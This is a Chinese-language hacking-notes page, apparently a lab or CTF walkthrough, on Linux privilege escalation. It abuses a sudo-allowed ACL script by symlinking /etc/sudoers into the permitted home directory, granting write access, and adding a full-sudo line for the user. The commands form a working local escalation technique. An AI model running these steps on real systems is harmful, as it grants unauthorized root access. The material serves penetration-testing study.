> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-acl-symlink-linux-privilege-escalation.md).

# Sudo ACL/符号链接 - Linux 提权

## 这是什么

Sudoers 权限提升始于用户可以通过以下方式运行的命令 `sudo`. 错误配置的二进制文件、不安全的脚本参数、符号链接处理以及存在漏洞的 sudo 版本，都可能把受限的 sudo 权限变成 root shell。此特定页面重点介绍 **Sudo ACL / 符号链接** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
sudo -l
sudo --version
```

## 示例

通过运行 `sudo -l` 命令，我们发现我们可以以 **root**.

```bash
sudo -l
```

<figure><img src="/files/7f7a21cd9a0f9aaaaabd0e27c4ebcbfbc2f2c7b1" alt=""><figcaption></figcaption></figure>

这个 Bash 脚本在检查路径有效性以及目标是否为文件之后，使用 ACL 修改特定文件上的用户访问权限。

<figure><img src="/files/e21766ebc073f4622637ac012386f65f9cb0c40e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ec952ad3309afa8591f773ad701db27c3544c8a3" alt=""><figcaption></figcaption></figure>

最后，让我们授予 mtz 用户对该文件的读写权限

```bash
sudo /opt/acl.sh mtz rw /etc/sudoers
```

发生错误，因为该文件必须位于我们的 `/home/mtz` 目录

<figure><img src="/files/664c578bf06cc1b995b625780ce80e2263e69fe5" alt="" width="535"><figcaption></figcaption></figure>

要解决这个绕过，解决方案可以是创建一个从系统文件指向 `/home/mtz/` 目录的符号链接，并在该链接上运行脚本。

```bash
ln -s /etc/sudoers /home/mtz/sudoers_link
sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link
```

<figure><img src="/files/6db5b4a31202bbbf2509dba308183f8d495cdb31" alt=""><figcaption></figcaption></figure>

我们需要修改文件“suders/ link”，这将更新 sudoers 文件，以赋予 mtz 用户全部权限。

```bash
mtz ALL=(ALL:ALL) ALL
```

<figure><img src="/files/7092a6530fb99760f462ce2ce817bcfd9cf7ab0a" alt=""><figcaption></figcaption></figure>


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